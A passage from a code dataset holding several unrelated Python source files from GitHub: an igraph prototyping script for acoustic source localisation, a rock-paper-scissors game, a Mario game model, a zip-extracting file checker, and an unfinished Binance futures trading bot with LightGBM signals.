get_multich_tdoas(multich_cc, **kwargs)\n\n K = kwargs.get('K',5)\n top_K_tdes = {}\n for ch_pair, tdes in cc_peaks.items():\n descending_quality = sorted(tdes, key=lambda X: X[-1], reverse=True)\n top_K_tdes[ch_pair] = []\n for i in range(K):\n try:\n top_K_tdes[ch_pair].append(descending_quality[i])\n except:\n pass\n print('making the cfls...')\n cfls_from_tdes = ig_make_consistent_fls(top_K_tdes, **kwargs)\n print(f'len of cfls: {len(cfls_from_tdes)}')\n # put all consistent loops into fundamental loop 'bins'\n all_fls = ig_make_fundamental_loops(kwargs['nchannels'])\n cfls_by_fl = {}\n for fl in all_fls:\n cfls_by_fl[fl] = []\n \n for i,each in enumerate(cfls_from_tdes):\n for fl in all_fls:\n if set(each.vs['name']) == set(fl):\n cfls_by_fl[fl].append(i)\n print('Making CCG matrix')\n if len(cfls_from_tdes) < 200:\n ccg_matrix = ig_make_ccg_matrix(cfls_from_tdes)\n else:\n ccg_matrix = ig_make_ccg_pll(cfls_from_tdes)\n print('Finding solutions')\n solns_cpp = ccl.CCG_solutions(ccg_matrix)\n print('Found solutions')\n print(f'Doing tracking: {len(solns_cpp)}')\n sources, cfl_ids, tdedata = ig_localise_sounds_v2(solns_cpp, cfls_from_tdes, **kwargs)\n print('Done with tracking.')\n return sources, cfl_ids, tdedata\n\nif __name__ == \"__main__\":\n \n nruns = 100\n # sta = ns_time()/1e9\n # for i in tqdm.trange(nruns):\n # ig_make_edges_for_fundamental_loops(i)\n # print(f'{ns_time()/1e9 - sta} s')\n\n # sta = ns_time()/1e9\n # for i in tqdm.trange(nruns):\n # bccg.make_edges_for_fundamental_loops(i)\n # print(f'\\n{ns_time()/1e9 - sta} s')\n # print('\\n \\n')\n # a = ns_time(); a/=1e9\n cfls_from_tdes = bccg.make_consistent_fls(top_K_tdes, **kwargs)\n # print(f'{ns_time()/1e9 - a} s')\n # a = ns_time(); a/=1e9\n ig_cfls_from_tdes = ig_make_consistent_fls(top_K_tdes, **kwargs)\n # print(f'{ns_time()/1e9 - a} s')\n # print(f'len cfls : {len(ig_cfls_from_tdes)}')\n #%%\n sta = ns_time()/1e9\n nx_ccg = bccg.make_ccg_matrix(cfls_from_tdes)\n print(f'NX: {ns_time()/1e9 - sta} s');\n sta = ns_time()/1e9\n ig_ccg = ig_make_ccg_matrix(ig_cfls_from_tdes)\n print(f'IG: {ns_time()/1e9 - sta} s')\n # try:\n # assert np.all(ig_ccg==nx_ccg)\n # except:\n # noteq = np.argwhere(ig_ccg!=nx_ccg)\n # X, Y = [ig_cfls_from_tdes[i] for i in noteq[0,:]]\n # X, Y = [cfls_from_tdes[i] for i in noteq[0,:]]\n\n #%% \n # Comparing nx and ig outputs \n # for nx_out, ig_out in zip(cfls_from_tdes, ig_cfls_from_tdes):\n # nx_tde = nx.adjacency_matrix(nx_out, weight='tde').todense()\n # ig_tde = np.array(ig_out.get_adjacency(attribute='tde').data)\n \n # nx_weights = nx.get_edge_attributes(nx_out,'tde')\n # for edge in ig_out.es:\n # b,a = edge.tuple\n # node_b, node_a = ig_out.vs['name'][b], ig_out.vs['name'][a]\n # try:\n # assert edge['tde'] == nx_weights[(node_b, node_a)]\n # except:\n # assert edge['tde'] == nx_weights[(node_a, node_b)]\n\n #%%\n for i in range(2):\n sta = ns_time()/1e9\n ii = ig_make_ccg_pll(ig_cfls_from_tdes, **kwargs)\n sto = ns_time()/1e9; print(f'IG PLL {sto-sta} s') \n # jj = bccg.make_ccg_pll(cfls_from_tdes, **kwargs)\n # print(f'{ns_time()/1e9-sta} s')\n \n #%% \n ccg_solns = ccl.CCG_solutions(ig_ccg)\n #%%\n a_soln = ccg_solns[-500]\n comp_triples = [ig_cfls_from_tdes[i] for i in a_soln]\n merged = ig.union(comp_triples, byname=True)\n \n \n \n def ig_oldway(comp_triples):\n merged = ig.union(comp_triples, byname=True)\n return np.array(merged.get_adjacency(attribute='tde', default=np.nan).data)\n \n def nx_oldway(comp_triples):\n source_tde = nx.to_numpy_array(ccl.combine_compatible_triples(comp_triples), \n weight='tde', nonedge=np.nan)\n return source_tde\n \n def nx_newway(comp_triples):\n nodes = list(set(list(chain(*[each.nodes for each in comp_triples]))))\n global_node_to_ij = {n:i for i, n in enumerate(nodes)}\n #tde_mat = np.full((len(nodes), len(nodes)), np.nan)\n tde_mat = np.zeros((len(nodes), len(nodes)))\n for each in comp_triples:\n ind_to_node = {i:n for i,n in enumerate(each.nodes)}\n for edge in each.edges:\n b,a = edge\n #node_b, node_a = ind_to_node[b], ind_to_node[a]\n i, j = global_node_to_ij[b], global_node_to_ij[a]\n tde_mat[i,j] = each.get_edge_data(*edge)['tde']\n #tde_mat[np.isnan(tde_mat)] = 0\n tde_mat += tde_mat.T\n tde_mat[tde_mat==0] = np.nan\n return tde_mat, nodes\n \n speedup_to_previg = []\n speedup_to_nx = []\n speedup_newnx_newig = []\n speedup_newnx_oldnx = []\n for each in ccg_solns[:10000]:\n comp_triples = [ig_cfls_from_tdes[i] for i in each]\n nx_comptriples = [cfls_from_tdes[i] for i in each]\n sta = ns_time()/1e9\n tdemat, nodes = ig_get_tde(comp_triples)\n sto_1 = ns_time()/1e9\n qq = ig_oldway(comp_triples)\n sto_2 = ns_time()/1e9\n rr = nx_oldway(nx_comptriples)\n sto_3 = ns_time()/1e9\n z = nx_newway(nx_comptriples)\n sto_4 = ns_time()/1e9\n \n new_ig = sto_1 - sta\n old_ig = sto_2 - sto_1\n old_nx = sto_3 - sto_2 \n new_nx = sto_4 - sto_3\n \n \n speedup_to_previg.append(old_ig/new_ig)\n speedup_to_nx.append(old_nx/new_ig)\n speedup_newnx_newig.append(new_nx/new_ig)\n speedup_newnx_oldnx.append(old_nx/new_nx)\n \n assert np.allclose(np.tril(tdemat) , np.tril(rr), equal_nan=True)\n #print(f'myway {sto_1-sta} s, oldway: {sto_2-sto_1} s') \n assert np.allclose(qq,tdemat,equal_nan=True)\n #%%\n # NX implementation\n num_inds = 100\n sta = ns_time()/1e9\n nx_tde, cfl_ids = ccl.chunk_create_tde_data(ccg_solns[:num_inds], cfls_from_tdes, **kwargs)\n nx_stop = ns_time()/1e9\n ig_tde, ig_cfl_ids = ig_chunk_create_tde_data(ccg_solns[:num_inds], ig_cfls_from_tdes, **kwargs)\n ig_stop = ns_time()/1e9\n print(f'NX: {nx_stop-sta} s, IG: {ig_stop-nx_stop} s ')\n \n for key, values in nx_tde.items():\n assert np.all(ig_tde[key]==values)\n #%%\n # %load_ext line_profiler\n # %lprun -f ig.union ig_chunk_create_tde_data(ccg_solns[:num_inds], ig_cfls_from_tdes, **kwargs)\n sta =ns_time()/1e9\n ig_locs, _, ig_raw = ig_generate_candidate_sources_v2(sim_audio, **kwargs)\n check2 = ns_time()/1e9\n nx_locs, _, nx_raw = ccl.generate_candidate_sources_v2(sim_audio, **kwargs)\n sto = ns_time()/1e9\n print(f'{check2-sta}s for IG, {sto-check2} current NX')\n \n assert np.all(ig_locs == nx_locs)\n for i, tdedata in enumerate(ig_raw):\n assert tdedata == nx_raw[i]\n \n \n #%%\n \n # plt.figure()\n # a1 = plt.subplot(111)\n # vis_style = {}\n # vis_style['target'] = a1\n # vis_style[\"edge_label\"] = np.around(np.array(merged.es[\"tde\"])*1e3,2)\n # vis_style[\"vertex_label\"] = merged.vs['name']\n \n # ig.plot(merged, **vis_style)\n \n \n \n #%%\n # g = ig_cfls_from_tdes[-1]\n # plt.figure()\n # a0 = plt.subplot(111)\n # vis_style = {}\n # vis_style['target'] = a0\n # vis_style[\"edge_label\"] = np.around(np.array(g.es[\"tde\"])*1e3,2)\n # vis_style[\"vertex_label\"] = g.vs['name']\n \n # ig.plot(g, **vis_style)\n \n \n\n","repo_name":"thejasvibr/pydatemm","sub_path":"ky2013/igraph_prototyping.py","file_name":"igraph_prototyping.py","file_ext":"py","file_size_in_byte":19827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24480912821","text":"# STONE PAPER SCISSOR GAME\n\nimport random\n\nprint(\"What do you choose? Type 0 for Rock , 1 for Paper and 2 for Scissors.\")\nurchoice=int(input(\"input your choice \"))\ncomputer=random.randint(0,2)\nprint(\"computer choose \", computer)\nif (urchoice==1):\n if (urchoice>computer) :\n print(\"you win\")\n \n elif (urchoice x2 + w2:\n return False\n if y1 + h1 < y2:\n return False\n if y1 > y2 + h2:\n return False\n return True\n\n #--------------------------\n #constructor for update\n #---------------------------\n def update(self):\n # print(\"This is Model class, update\");\n self.gumba.update()\n self.mario.update()\n\n for f in self.fire_list:\n self.fire_up = f\n print(\"This works hehe hehehehehheeh\")\n self.fire_up.update()\n\n for i in range(0, 2) :\n self.tube = self.tube_list[i]\n if self.does_collide(self.mario.x, self.mario.y, self.mario.width, self.mario.hight, self.tube.x, self.tube.y, self.tube.width, self.tube.hight ):\n self.mario.get_out_of_tube(self.tube)\n\n if self.does_collide(self.gumba.x, self.gumba.y, self.gumba.width, self.gumba.hight, self.tube.x, self.tube.y, self.tube.width, self.tube.hight ):\n self.mario.get_out_of_tube(self.tube)\n self.gumba.collide = True;\n\n\n def mario_fire(self):\n print(\"Fire is made now draw\")\n self.fire_list.append(Fire(self.mario.x, self.mario.y))\n\n\n#\n# model1 = Model()\n# model1.mario_fire()\n","repo_name":"anjanpoudel/mario_in_python","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31545151234","text":"import os\nimport json\nimport zipfile\n\n\nclass FileNotFoundError(Exception):\n pass\n\n\ndef check_files(dirpath, flag=0):\n try:\n if flag == 1:\n raise FileNotFoundError\n except FileNotFoundError:\n from app.files_to_json_db import save_squeeze_files\n save_squeeze_files(dirpath)\n current_data = {}\n with open('app/' + dirpath.split('/')[1] + '/' + 'files.json') as f:\n data = json.load(f)\n try:\n for currentdir, dirs, files in os.walk(dirpath):\n if currentdir == dirpath:\n for i in dirs:\n if i in data.keys():\n current_data[i] = {}\n else:\n raise FileNotFoundError\n dir_keyd = currentdir.split('/')[-2]\n dir_keyf = currentdir.split('/')[-1]\n if dir_keyf in current_data.keys():\n for i in dirs:\n if i in data[dir_keyf].keys():\n current_data[dir_keyf][i] = []\n else:\n raise FileNotFoundError\n if files and dir_keyd in current_data.keys():\n if dir_keyf in current_data[dir_keyd].keys():\n for i in files:\n if i[-3:] == 'zip':\n with zipfile.ZipFile(currentdir + '/' + i, 'r') as z:\n z.extractall(currentdir)\n continue\n if i in data[dir_keyd][dir_keyf]:\n current_data[dir_keyd][dir_keyf].append(i)\n else:\n raise FileNotFoundError\n for i in data[dir_keyd][dir_keyf]:\n if i not in files:\n raise FileNotFoundError\n if files and dir_keyd == currentdir.split('/')[2] and dir_keyf != 'previews_videos':\n current_data[dir_keyf] = []\n for i in files:\n if i[-3:] == 'zip':\n with zipfile.ZipFile(currentdir + '/' + i, 'r') as z:\n z.extractall(currentdir)\n continue\n if i in data[dir_keyf]:\n current_data[dir_keyf].append(i)\n else:\n raise FileNotFoundError\n for i in data[dir_keyf]:\n if i not in files:\n raise FileNotFoundError\n except FileNotFoundError:\n from app.files_to_json_db import save_squeeze_files\n save_squeeze_files(dirpath)\n","repo_name":"GVatest/ganja-production","sub_path":"app/check_files.py","file_name":"check_files.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"72647864986","text":"#!/usr/bin/env python\nimport logging, time\nfrom loguru import logger\nfrom datetime import datetime\nfrom binance.lib.utils import config_logging\nfrom binance.um_futures import UMFutures\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom binance.websocket.um_futures.websocket_client import UMFuturesWebsocketClient\n\nfrom functions import test_get_key, um_trade_get_orders, um_trade_cancel_open_orders, um_trade_account, \\\n um_trade_change_leverage, get_symbol_daily_from_redis\nimport pandas as pd\nfrom HFT_factor_online import *\nimport joblib\n\n\nconfig_logging(logging, logging.DEBUG)\n\nsymbol = 'btcusdt'\ntrade = {'symbol': 'null', 'price': 0.0, 'quantity': 0.0, 'trading_time': 0, 'is_maker': None, 'daily_volume': 0.0, 'daily_amount': 0.0}\ndepth = {'trading_time': 0, 'bids': [], 'asks': []}\nsymbol_daily = {'daily_volume': 0.0, 'daily_amount': 0.0}\nbalance = {'USDT': {'asset': 'USDT', 'wallet_balance': '199.93564633', 'cross_wallet': '199.93564633', 'balance_change': '0', 'trading_time': '(13位时间戳)'}}\nposition = {'ETHUSDT': {'symbol': 'ETHUSDT', 'position_amount': 0.200, 'entry_price': 1640.91000000,\n 'cumulative_realized': 0.16890000, 'unrealized': -0.00536252, 'margin_type': 'cross',\n 'isolated_wallet': 0, 'position_side': 'BOTH', 'monetary_unit': 'USDT',\n 'average entry price': 1640.91000000, 'break_even_price': 1706.08216, 'trading_time': '(13位时间戳)'}}\n\n# ===========================\n\ndef start_wb_market():\n my_client = UMFuturesWebsocketClient()\n\n my_client.start()\n my_client.partial_book_depth(symbol=symbol, id=1, level=10, speed=100, callback=message_depth,)\n logger.info('行情depth已启动')\n\n # redis拉取symbol_daily\n redis_volume, redis_amount, is_complete = get_symbol_daily_from_redis(symbol)\n if is_complete is True:\n global symbol_daily\n symbol_daily['daily_volume'] = redis_volume\n symbol_daily['daily_amount'] = redis_amount\n logger.info('redis拉取symbol_daily成功,symbol_daily:{}'.format(symbol_daily))\n else:\n logger.error('symbol_daily数据不完整,不能启动策略')\n return None\n\n my_client.agg_trade(symbol=symbol, id=2, callback=message_trade,)\n logger.info('行情trade已启动')\n\ndef message_depth(message):\n global depth\n trading_time = message.get('T')\n if trading_time is not None:\n depth['trading_time'] = trading_time\n\n # 确保本条一定有且更新\n bids = message.get('b')\n if bids is not None:\n depth['bids'] = bids\n\n asks = message.get('a')\n if asks is not None:\n depth['asks'] = asks\n\ndef message_trade(message):\n global trade, symbol_daily\n # 首条再次读取symbol_daily,确保绝对同步\n fir = message.get('id')\n if fir is not None:\n redis_volume, redis_amount, is_complete = get_symbol_daily_from_redis(symbol)\n symbol_daily['daily_volume'] = redis_volume\n symbol_daily['daily_amount'] = redis_amount\n logger.info('再次刷新成功,symbol_daily:{}'.format(symbol_daily))\n\n # 非首条交易处理\n p = message.get('p')\n if p is not None:\n trade['symbol'] = message.get('s')\n price = float(message.get('p'))\n quantity = float(message.get('q'))\n trade['price'] = price\n trade['quantity'] = quantity\n trade['trading_time'] = message.get('T')\n trade['is_maker'] = message.get('m')\n\n # 变更symbol_daily处理\n update_daily_volume = round(symbol_daily['daily_volume'] + quantity, 8)\n update_daily_amount = round(symbol_daily['daily_amount'] + (quantity * price), 8)\n trade['daily_volume'] = update_daily_volume\n trade['daily_amount'] = update_daily_amount\n symbol_daily['daily_volume'] = update_daily_volume\n symbol_daily['daily_amount'] = update_daily_amount\n\n\ndef initial():\n logger.info('初始化策略开始执行')\n\n # 查看账户所有挂单,撤销所有挂单\n pre_pos = um_trade_get_orders(name, symbol)\n if pre_pos is True:\n if um_trade_cancel_open_orders(name, symbol) is False:\n logger.info(\"挂单未撤成功,策略终止\")\n return None\n\n # 获取账户资产v2\n org_acc = um_trade_account\n\n # 判断是否有持仓,已有持仓则报错,终止策略\n\n # 查询持仓模式,将其变为单向持仓\n\n # 调整杠杆数额\n um_trade_change_leverage(name, leverage)\n\n # 启动策略\n sub()\n\n\n logger.info('初始化策略结束执行')\n\n\ndef message_account(message):\n t = message.get('e')\n if t is not None:\n # 过滤事件类型\n if t == 'ORDER_TRADE_UPDATE':\n logger.info('收到订单推送,时间:{t}'.format(t=message.get('E')))\n push_order = message.get('o')\n # 过滤交易对\n if push_order['s'] == symbol.upper():\n global open_orders\n if push_order.get('x') == 'TRADE':\n if push_order['X'] == 'PARTIALLY_FILLED': # 部成处理\n trade_ord_id = int(push_order['i'])\n order = open_orders.get(trade_ord_id)\n order['cur_qty'] -= float(push_order['l'])\n open_orders[trade_ord_id] = order\n logger.info(\"订单部成{}\".format(order))\n elif push_order['X'] == 'FILLED': # 全成处理\n trade_ord_id = int(push_order['i'])\n logger.info(\"订单全成{}\".format(open_orders[trade_ord_id]))\n del open_orders[trade_ord_id]\n else:\n logger.error('未知成交类型,push_order:{}'.format(push_order))\n elif push_order.get('x') == 'NEW':\n # 强平订单发生(目前只给日志,不给处理)\n client_ord_id = str(push_order['c'])\n if 'autoclose' in client_ord_id:\n logger.error(\"发生强平订单!push_order:{}\".format(push_order))\n elif 'adl_autoclose' in client_ord_id:\n logger.error(\"订单发生ADL,push_order:{}\".format(push_order))\n else:\n # 新订单发生 (限价和市价情况是一样的,市价也会产生new和trade推送)\n order_id = int(push_order['i'])\n new_order = {\"order_id\": order_id, \"client_ord_id\": client_ord_id, \"dir\": push_order['S'],\n \"org_qty\": float(push_order['q']), \"cur_qty\": float(push_order['q']),\n \"price\": float(push_order['p']), \"work_time\": int(push_order['T'])}\n open_orders.setdefault(order_id, new_order)\n logger.info(\"新增订单{}\".format(new_order))\n elif push_order.get('x') == 'CANCELED':\n cancel_ord_id = int(push_order['i'])\n logger.info(\"订单已撤销{}\".format(open_orders[cancel_ord_id]))\n del open_orders[cancel_ord_id]\n elif push_order.get('x') == 'CALCULATED':\n # 订单ADL或爆仓,参考撤单处理\n ord_id = int(push_order['i'])\n logger.info(\"订单ADL或爆仓,order_id:{}\".format(ord_id))\n if open_orders.get(ord_id) is not None:\n logger.info(\"本地open_orders销毁该order{}\".format(open_orders[ord_id]))\n del open_orders[ord_id]\n elif push_order.get('x') == 'EXPIRED':\n # 失效,参考撤单处理\n ord_id = int(push_order['i'])\n logger.info(\"订单失效{}\".format(open_orders[ord_id]))\n del open_orders[ord_id]\n else:\n logger.info('未知的交易类型推送,push_order:{}'.format(push_order))\n else:\n logger.info('非本交易对交易推送,symbol:{s}'.format(s=push_order['s']))\n elif t == 'ACCOUNT_UPDATE':\n # 账户持仓更新(未限制交易对)\n logger.info('收到账户变动推送时间:{t}'.format(t=message.get('E')))\n push_account = message.get('a')\n logger.info('更新balance/position内容,事件原因:{t}'.format(t=push_account['m']))\n global my_balance, my_position\n push_balance = push_account.get('B')\n push_position = push_account.get('P')\n if push_balance is not None and len(push_balance) != 0:\n # 余额覆盖更新\n my_balance = push_balance\n logger.info('余额已更新,当前my_balance:{}'.format(my_balance))\n if push_position is not None and len(push_balance) != 0:\n # 持仓覆盖更新\n my_position = push_position\n logger.info('持仓已更新,当前my_position:{}'.format(my_balance))\n else:\n logger.info('未知推送:{t}'.format(t=message))\n\n\ndef start_wb_account():\n logger.info('开启WebsocketClient监听')\n global listen_key\n listen_key = get_listen_key()\n logger.info(\"Receving listen key : {}\".format(listen_key))\n ws_client = UMFuturesWebsocketClient()\n ws_client.start()\n ws_client.user_data(listen_key=listen_key, id=3, callback=message_account)\n\n\ndef task():\n logger.info('开始启动定时任务')\n\n job_defaults = {'max_instances': 99}\n sched = BackgroundScheduler(timezone='MST', job_defaults=job_defaults)\n # 添加延长listen_key任务,时间间隔为50分钟\n sched.add_job(renew_listen_key, 'interval', minutes=50, id='renew_listen_key')\n # 添加新建listen_key任务,时间间隔为20小时\n # sched.add_job(new_listen_key, 'interval', hours=20, id='new_listen_key')\n\n sched.start()\n\n logger.info('启动定时任务结束')\n\ndef renew_listen_key():\n if try_renew_listen_key(listen_key) is True:\n logger.info('定时任务try_renew_listen_key触发时间为{t},本次延长后的listen_key为:{l}'.format\n (t=datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"), l=listen_key))\n else:\n logger.info('ERROR!定时任务try_renew_listen_key触发时间为{t},延长失败'.format\n (t=datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"), l=listen_key))\n\n\ndef strategy_sub():\n # 行情信息\n global depth\n depth = {'trading_time':0, \"bid\": [[\"29244.60\", \"3.965\"], [\"29244.50\", \"0.002\"], [\"29244.40\", \"0.001\"]], \"ask\":[[\"29244.70\", \"28.569\"], [\"29244.80\", \"2.478\"], [\"29244.90\", \"0.837\"]]}\n\n global trade\n trade = {'symbol': 'null', 'price': 0.0, 'quantity': 0.0, 'trading_time': 0, 'is_maker': None, 'daily_volume': 0.0, 'daily_amount': 0.0}\n\n # 持仓信息\n global open_orders\n open_orders = {3456789876: {\"order_id\": 3456789876, \"client_ord_id\": \"whd_02\", \"dir\": 'BUY', \"org_qty\": 500.24 ,\"cur_qty\": 244.32, \"price\": 0.343, \"work_time\": '(13位时间戳)'}}\n\n global balance\n balance = {'USDT': {'asset': 'USDT', 'wallet_balance': '199.93564633', 'cross_wallet': '199.93564633',\n 'balance_change': '0', 'trading_time': '(13位时间戳)'}}\n global position\n position = {'ETHUSDT': {'symbol': 'ETHUSDT', 'position_amount': 0.200, 'entry_price': 1640.91000000,\n 'cumulative_realized': 0.16890000, 'unrealized': -0.00536252, 'margin_type': 'cross',\n 'isolated_wallet': 0, 'position_side': 'BOTH', 'monetary_unit': 'USDT',\n 'average entry price': 1640.91000000, 'break_even_price': 1706.08216,\n 'trading_time': '(13位时间戳)'}}\n\n split_count = 5\n place_rate = 2 / 10000\n capital = 100\n pos_rate = 0.3 # 持仓比例\n\n depth = []\n trade = []\n y_pred_side_list = []\n y_pred_out_list = []\n\n\n\n last_time = int(time.time())\n old_sec = 0\n kill_time = 0\n\n threshold = 130000\n side_long = 0.9\n side_short = 0.1\n out = 0.8\n\n base_path = '/tmp/strdt/deployment/songhe/'\n\n symbol = 'ETHUSDT'\n\n model_side_0 = joblib.load('{}/{}/{}_lightGBM_side_0.pkl'.format(base_path,symbol, symbol))\n model_side_1 = joblib.load('{}/{}/{}_lightGBM_side_1.pkl'.format(base_path,symbol, symbol))\n model_side_2 = joblib.load('{}/{}/{}_lightGBM_side_2.pkl'.format(base_path,symbol, symbol))\n model_side_3 = joblib.load('{}/{}/{}_lightGBM_side_3.pkl'.format(base_path,symbol, symbol))\n model_side_4 = joblib.load('{}/{}/{}_lightGBM_side_4.pkl'.format(base_path,symbol, symbol))\n model_out_0 = joblib.load('{}/{}/{}_lightGBM_out_0.pkl'.format(base_path,symbol, symbol))\n model_out_1 = joblib.load('{}/{}/{}_lightGBM_out_0.pkl'.format(base_path,symbol, symbol))\n model_out_2 = joblib.load('{}/{}/{}_lightGBM_out_0.pkl'.format(base_path,symbol, symbol))\n model_out_3 = joblib.load('{}/{}/{}_lightGBM_out_0.pkl'.format(base_path,symbol, symbol))\n model_out_4 = joblib.load('{}/{}/{}_lightGBM_out_0.pkl'.format(base_path,symbol, symbol))\n\n closetime = depth['trading_time']//100 *100 +99\n depth_dict = {'closetime': depth['trading_time']//100 *100 +99,\n 'ask_price1': depth['ask'][0][0],'ask_size1': depth['ask'][0][1],'bid_price1': depth['bid'][0][0],'bid_size1': depth['bid'][0][1],\n 'ask_price2': depth['ask'][1][0], 'ask_size2': depth['ask'][1][1], 'bid_price2': depth['bid'][1][0],'bid_size2': depth['bid'][1][1],\n 'ask_price3': depth['ask'][2][0], 'ask_size3': depth['ask'][2][1], 'bid_price3': depth['bid'][2][0],'bid_size3': depth['bid'][2][1],\n 'ask_price4': depth['ask'][3][0], 'ask_size4': depth['ask'][3][1], 'bid_price4': depth['bid'][3][0],'bid_size4': depth['bid'][3][1],\n 'ask_price5': depth['ask'][4][0], 'ask_size5': depth['ask'][4][1], 'bid_price5': depth['bid'][4][0],'bid_size5': depth['bid'][4][1],\n 'ask_price6': depth['ask'][5][0], 'ask_size6': depth['ask'][5][1], 'bid_price6': depth['bid'][5][0],'bid_size6': depth['bid'][5][1],\n 'ask_price7': depth['ask'][6][0], 'ask_size7': depth['ask'][6][1], 'bid_price7': depth['bid'][6][0],'bid_size7': depth['bid'][6][1],\n 'ask_price8': depth['ask'][7][0], 'ask_size8': depth['ask'][7][1], 'bid_price8': depth['bid'][7][0],'bid_size8': depth['bid'][7][1],\n 'ask_price9': depth['ask'][8][0], 'ask_size9': depth['ask'][8][1], 'bid_price9': depth['bid'][8][0],'bid_size9': depth['bid'][8][1],\n 'ask_price10': depth['ask'][9][0], 'ask_size10': depth['ask'][9][1], 'bid_price10': depth['bid'][9][0],'bid_size10': depth['bid'][9][1],\n }\n depth.append(depth_dict)\n\n\n\n trade_dict = {'closetime': trade['trading_time']//100 *100 +99,\n 'price':trade['price'], 'size': trade['quantity'], 'is_maker': trade['is_maker'], 'volume': trade['daily_volume'], 'amount': trade['daily_amount']\n\n }\n trade.append(trade_dict)\n\n if closetime:\n time_10 = int(closetime / 1000)\n interval_time = 60000 * 40 # 提前储存40分钟数据用于计算因子\n if depth[-1]['closetime'] - depth[0][\n 'closetime'] > interval_time and time_10 - last_time > 0.999:\n last_time = time_10\n len_depth = int(len(depth) * 0.99)\n diff_time = depth[-1]['closetime'] - depth[-len_depth]['closetime']\n if diff_time > interval_time:\n depth = depth[-len_depth:]\n len_trade = int(len(trade) * 0.99)\n if trade[-1]['closetime'] - trade[-len_trade]['closetime'] > interval_time:\n trade = trade[-len_trade:]\n\n df_depth = pd.DataFrame(depth)\n df_trade = pd.DataFrame(trade)\n\n df_trade['datetime'] = pd.to_datetime(df_trade['closetime'] + 28800000, unit='ms')\n df_trade = df_trade.groupby(pd.Grouper(key='datetime', freq='30s')).apply(vwap_30s)\n df_trade = df_trade.set_index('datetime').groupby(pd.Grouper(freq='1D')).apply(cumsum)\n df_trade['size'] = np.where(df_trade['is_maker'] == False, (-1) * df_trade['size'], df_trade['size'])\n # trade_df = trade_df.loc[:, ['closetime', 'price', 'size']]\n del df_trade['is_maker']\n # trade_df = trade_df.set_index('datetime').groupby(pd.Grouper(freq='1D')).apply(cumsum)\n df_trade = df_trade.reset_index(drop=True)\n # 100ms数据trade和depth合并\n data_merge = pd.merge(df_depth, df_trade, on='closetime', how='outer')\n data_merge = data_merge.sort_values(by='closetime', ascending=True)\n data_merge['datetime'] = pd.to_datetime(data_merge['closetime'] + 28800000, unit='ms')\n data_merge['sec'] = data_merge['datetime'].dt.second\n closetime_sec = time.localtime(closetime / 1000).tm_sec\n\n if closetime_sec != old_sec:\n if data_merge['sec'].iloc[-1] != data_merge['sec'].iloc[-2]:\n old_sec = closetime_sec\n tick1 = data_merge.iloc[:-1, :]\n # 取这一秒内最后一条切片为这个1s的点\n tick1s = tick1.set_index('datetime').groupby(pd.Grouper(freq='1000ms')).apply('last')\n\n tick1s = tick1s.drop_duplicates(subset=['closetime'], keep='last')\n tick1s = tick1s.dropna(subset=['ask_price1'])\n trade = tick1s.loc[:, ['closetime', 'price', 'size', 'volume', 'amount', 'vwap_30s']]\n depth = tick1s.loc[:, ['closetime',\n 'ask_price1', 'ask_size1', 'bid_price1', 'bid_size1', 'ask_price2', 'ask_size2',\n 'bid_price2', 'bid_size2',\n 'ask_price3', 'ask_size3', 'bid_price3', 'bid_size3', 'ask_price4', 'ask_size4',\n 'bid_price4', 'bid_size4',\n 'ask_price5', 'ask_size5', 'bid_price5', 'bid_size5', 'ask_price6', 'ask_size6',\n 'bid_price6', 'bid_size6',\n 'ask_price7', 'ask_size7', 'bid_price7', 'bid_size7', 'ask_price8', 'ask_size8',\n 'bid_price8', 'bid_size8',\n 'ask_price9', 'ask_size9', 'bid_price9', 'bid_size9', 'ask_price10', 'ask_size10',\n 'bid_price10', 'bid_size10']]\n # 计算因子\n factor = add_factor_process(depth=depth, trade=trade)\n # factor['datetime'] = pd.to_datetime(factor['closetime'] + 28800000, unit='ms')\n # 计算120s vwap price\n factor['amount'] = factor['amount'].fillna(method='ffill')\n # if time.time() - self.strategy_time > 30:\n # print('每十分钟打印一次阈值:',factor['turnover'].iloc[-1] - factor['turnover'].iloc[-2],'时间:',tick.datetime, self.model_symbol)\n # self.strategy_time = time.time()\n if factor['amount'].iloc[-1] - factor['amount'].iloc[-2] >= threshold:\n print('bar采样触发阈值时间:', closetime, '品种:')\n signal = factor.iloc[-1:, :]\n X_test = np.array(signal.iloc[:, 9:84]).reshape(1, -1)\n\n y_pred_side_0 = model_side_0.predict(X_test, num_iteration=model_side_0.best_iteration)\n y_pred_side_1 = model_side_1.predict(X_test, num_iteration=model_side_1.best_iteration)\n y_pred_side_2 = model_side_2.predict(X_test, num_iteration=model_side_2.best_iteration)\n y_pred_side_3 = model_side_3.predict(X_test, num_iteration=model_side_3.best_iteration)\n y_pred_side_4 = model_side_4.predict(X_test, num_iteration=model_side_4.best_iteration)\n y_pred_side = (y_pred_side_0[0] + y_pred_side_1[0] + y_pred_side_2[0] + y_pred_side_3[0] +\n y_pred_side_4[0]) / 5\n y_pred_side_list.append([y_pred_side])\n msg_ = f'批式方向信号:{y_pred_side_list[-1]}--time:{closetime}---symbol:{symbol}'\n log.info(msg_)\n\n y_pred_side_df = pd.DataFrame(y_pred_side_list, columns=['predict'])\n\n if y_pred_side_df['predict'].iloc[-1] > side_long or y_pred_side_df['predict'].iloc[\n -1] < side_short:\n y_pred_out_0 = model_out_0.predict(X_test, num_iteration=model_out_0.best_iteration)\n y_pred_out_1 = model_out_1.predict(X_test, num_iteration=model_out_1.best_iteration)\n y_pred_out_2 = model_out_2.predict(X_test, num_iteration=model_out_2.best_iteration)\n y_pred_out_3 = model_out_3.predict(X_test, num_iteration=model_out_3.best_iteration)\n y_pred_out_4 = model_out_4.predict(X_test, num_iteration=model_out_4.best_iteration)\n y_pred_out = (y_pred_out_0[0] + y_pred_out_1[0] + y_pred_out_2[0] + y_pred_out_3[0] +\n y_pred_out_4[0]) / 5\n y_pred_out_list.append([y_pred_out])\n y_pred_out_df = pd.DataFrame(y_pred_out_list, columns=['out'])\n msg_ = f'入场信号:{y_pred_out_list[-1]}-----time:{closetime}---symbol:{symbol}'\n log.info(msg_)\n\n # 策略逻辑\n pos = 